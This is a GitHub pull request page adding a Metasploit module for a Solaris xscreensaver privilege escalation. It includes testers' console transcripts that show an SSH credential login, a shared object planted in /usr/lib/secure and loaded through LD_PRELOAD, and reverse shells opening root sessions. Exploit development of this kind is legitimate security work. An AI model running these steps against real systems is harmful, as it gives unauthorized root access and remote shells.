Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Solaris xscreensaver log Privilege Escalation module #12473

Merged
merged 4 commits into from Oct 23, 2019

Conversation

@bcoles
Copy link
Contributor

bcoles commented Oct 21, 2019

Add Solaris xscreensaver log Privilege Escalation module.

    This module exploits a vulnerability in `xscreensaver` versions
    since 5.06 on unpatched Solaris 11 systems which allows users
    to gain root privileges.

    `xscreensaver` allows users to create a user-owned file at any
    location on the filesystem using the `-log` command line argument
    introduced in version 5.06.

    This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,
    overwrites the log file with a shared object, and executes the shared
    object using the `LD_PRELOAD` environment variable.

    This module has been tested successfully on xscreensaver version 5.15
    on Solaris 11.3 (x86).

Resolves #12461.

@space-r7 space-r7 self-assigned this Oct 22, 2019
@h00die

This comment has been minimized.

Copy link
Contributor

h00die commented Oct 23, 2019

Looks to be a bug when using ssh_login.

Solaris 11.3 (xscreensaver 5.15), unpatched install.

msf5 auxiliary(scanner/ssh/ssh_login) > run

[+] 222.222.222.222:22 - Success: 'solaris:Solaris!' ''
[*] Command shell session 3 opened (111.111.111.111:46439 -> 222.222.222.222:22) at 2019-10-22 19:51:50 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 3
[*] Starting interaction with 3...

Oracle Corporation	SunOS 5.11	11.3	September 2015
id 
uid=100(solaris) gid=10(staff)
xscreensaver --help
xscreensaver: 19:51:13: warning: $DISPLAY is not set: defaulting to ":0.0".
No protocol specified
xscreensaver: 19:51:13: Can't open display: :0.0
xscreensaver: 19:51:13: running as solaris/staff (100/10); effectively root/staff (0/10)

xscreensaver: 19:51:13: Errors at startup are usually authorization problems.
              Did you read the manual and the FAQ?

              http://www.jwz.org/xscreensaver/faq.html
              http://www.jwz.org/xscreensaver/man.html

^Z
Background session 3? [y/N]  y
msf5 auxiliary(scanner/ssh/ssh_login) > previous
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set session 3
session => 3
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > check

[+] /usr/bin/xscreensaver is setuid
[+] gcc is installed
[-] Could not determine xscreensaver version
[*] The target service is running, but could not be validated.
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > run

[*] Started reverse TCP handler on 111.111.111.111:4444 
[+] /usr/bin/xscreensaver is setuid
[+] gcc is installed
[-] Could not determine xscreensaver version
[*] Starting Xorg on display :1 ...
[*] Creating log file /usr/lib/secure/HGULbp.so ...
[-] Exploit aborted due to failure: not-vulnerable: Could not create writable log file /usr/lib/secure/HGULbp.so
[*] Exploit completed, but no session was created.

When 'Creating log file' is displayed, the screensaver starts. The session stops responding, and the screen won't come out of the screensaver, I've had to reboot.

I think this is an easy workaround, check for either the 'authorization problems' or 'cant open display', tell the user they need a meterp.

good when using meterp from ssh_login

msf5 auxiliary(scanner/ssh/ssh_login) > run

[+] 222.222.222.222:22 - Success: 'solaris:Solaris!' ''
[*] Command shell session 4 opened (111.111.111.111:34023 -> 222.222.222.222:22) at 2019-10-22 19:58:15 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -u 4
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [4]

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 4
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 111.111.111.111:4433 
[*] Sending stage (53755 bytes) to 222.222.222.222
[*] Meterpreter session 5 opened (111.111.111.111:4433 -> 222.222.222.222:52854) at 2019-10-22 19:58:26 -0400
msf5 auxiliary(scanner/ssh/ssh_login) > previous
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set session 5
session => 5
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > getuid
Server username: solaris
meterpreter > background
[*] Backgrounding session 5...
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > run

[*] Started reverse TCP handler on 111.111.111.111:4444 
[-] /usr/bin/xscreensaver is not setuid
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable. Set ForceExploit to override.
[*] Exploit completed, but no session was created.
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set forceexploit true
forceexploit => true
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > run

[*] Started reverse TCP handler on 111.111.111.111:4444 
[-] /usr/bin/xscreensaver is not setuid
[!] Target does not appear to be vulnerable
[*] Starting Xorg on display :1 ...
[*] Creating log file /usr/lib/secure/O9wNQ0.so ...
[*] Creating directory '/tmp/.7qL6e'
[*] Writing '/tmp/.7qL6e/.wkqq5Fgz.c' (242 bytes) ...
[*] Writing shared object to /usr/lib/secure/O9wNQ0.so
[*] Writing '/tmp/.7qL6e/.18sLoDXP6' (60 bytes) ...
[*] Executing payload...
[*] Command shell session 6 opened (111.111.111.111:4444 -> 222.222.222.222:57612) at 2019-10-22 19:59:10 -0400
[!] Tried to delete /usr/lib/secure/O9wNQ0.so, unknown result
[+] Deleted /tmp/.7qL6e/.wkqq5Fgz.c
[+] Deleted /tmp/.7qL6e/.wkqq5Fgz
[+] Deleted /tmp/.7qL6e/.18sLoDXP6
[+] Deleted /tmp/.7qL6e


id
uid=0(root) gid=0(root) groups=10(staff)

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Oct 23, 2019

@h00die thanks for testing. Your output looks inconsistent. For example, xsreensaver magically flips between being setuid and not being setuid. This is likely not an issue with the module, and more likely to be an issue with the framework.

Edit: I ran into the same issue with command buffering elsewhere. Again, an issue with the framework, and not this module. For example, I deliberately check for 64-bit ELF rather than 64-bit because, coincidentally, launching Xorg also happens to print 64-bit in the startup output, and the output wraps into the subsequent cmd_exec call (due to the framework command buffering issues) which causes the platform detection to incorrect detect 64-bit, resulting in the shared object being written to the incorrect directory.

Edit 2: I've created an issue to track the tokenisation issue #12485

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Oct 23, 2019

@h00die I was able to reproduce the issue with ssh_login. Confirmed, exploitation using ssh_login fails for a command shell, but works once upgraded to a meterpreter shell.

This was the culprit:

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] /usr/bin/xscreensaver is setuid
[+] gcc is installed
[+] xscreensaver version 5.15 appears to be vulnerable
[*] Starting Xorg on display :1 ...
[*] Creating log file /usr/lib/secure/EryPJK9v.so ...
-bash: line 31: syntax error near unexpected token `;'
-bash: line 31: `umask 0; DISPLAY=:1 /usr/bin/xscreensaver -display :1 -log /usr/lib/secure/EryPJK9v.so & ;echo 

^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] run: Interrupted

Unfortunately the proposed solution to check the output of xscreensaver for authorization problems or cant open display would not work. Firstly, as xscreensaver needs to be backgrounded for exploitation. It is only through inconsistent coincidence that the output could be checked, depending on the type of command shell used and whether the aforementioned command buffering plays nice. And secondly, as can't open display doesn't necessarily imply failure - Xorg will fall back to the default display, and it's possible that exploitation will be successful. Granted, in this scenario, exploitation is occurring within a session on the default $DISPLAY, which seems less likely.

Fortunately, the issue was easy to workaround by tricking the framework into sucking less. Fixed in ab9d147.

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Oct 23, 2019

Testing against xscreensaver v5.39 on Solaris 11.4

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.215.1:4444 
[*] Command shell session 1 opened (172.16.215.1:4444 -> 172.16.215.152:47816) at 2019-10-23 08:21:50 -0500

id
uid=100(space) gid=10(staff)
uname -a
SunOS solaris 5.11 11.4.0.15.0 i86pc i386 i86pc
background

Background session 1? [y/N]  y
msf5 exploit(multi/handler) > use exploit/solaris/local/
use exploit/solaris/local/extremeparr_dtappgather_priv_esc  use exploit/solaris/local/rsh_stack_clash_priv_esc
use exploit/solaris/local/libnspr_nspr_log_file_priv_esc    use exploit/solaris/local/xscreensaver_log_priv_esc
msf5 exploit(multi/handler) > use exploit/solaris/local/xscreensaver_log_priv_esc 
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set session 1
session => 1
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set payload cmd/unix/reverse_ksh
payload => cmd/unix/reverse_ksh
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set lhost 172.16.215.1
lhost => 172.16.215.1
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > run

[*] Started reverse TCP handler on 172.16.215.1:4444 
[*] Starting Xorg on display :1 ...
[*] Creating log file /usr/lib/secure/64/VdQfvEv1So.so ...
[*] Writing '/tmp/.ljvcb2q/.EGTSxVA.c' (251 bytes) ...
[*] Writing '/tmp/.ljvcb2q/.8xP3ORgEw' (59 bytes) ...
[*] Executing payload...
[*] Command shell session 2 opened (172.16.215.1:4444 -> 172.16.215.152:42195) at 2019-10-23 08:24:53 -0500
[!] Tried to delete /usr/lib/secure/64/VdQfvEv1So.so, unknown result
[+] Deleted /tmp/.ljvcb2q/.EGTSxVA.c
[+] Deleted /tmp/.ljvcb2q/.EGTSxVA
[+] Deleted /tmp/.ljvcb2q/.8xP3ORgEw
[+] Deleted /tmp/.ljvcb2q

id
uid=0(root) gid=0(root) groups=10(staff)
uname -a
SunOS solaris 5.11 11.4.0.15.0 i86pc i386 i86pc
space-r7 added a commit that referenced this pull request Oct 23, 2019
@space-r7 space-r7 merged commit ab9d147 into rapid7:master Oct 23, 2019
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
msjenkins-r7 added a commit that referenced this pull request Oct 23, 2019
@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Oct 23, 2019

Release Notes

This exploits a privilege escalation vulnerability in xscreensaver versions v5.06 to v5.41 on Solaris systems. This module leverages the -log flag when starting xscreensaver, which will create a user-accessible file anywhere on the system. The module overwrites the created file with a shared object and executes arbitrary code as root by using the LD_PRELOAD environment variable.

@bcoles bcoles deleted the bcoles:xscreensaver_log_priv_esc branch Oct 23, 2019
@bcoles bcoles added the rn-modules label Oct 24, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
3 participants
You can’t perform that action at this time.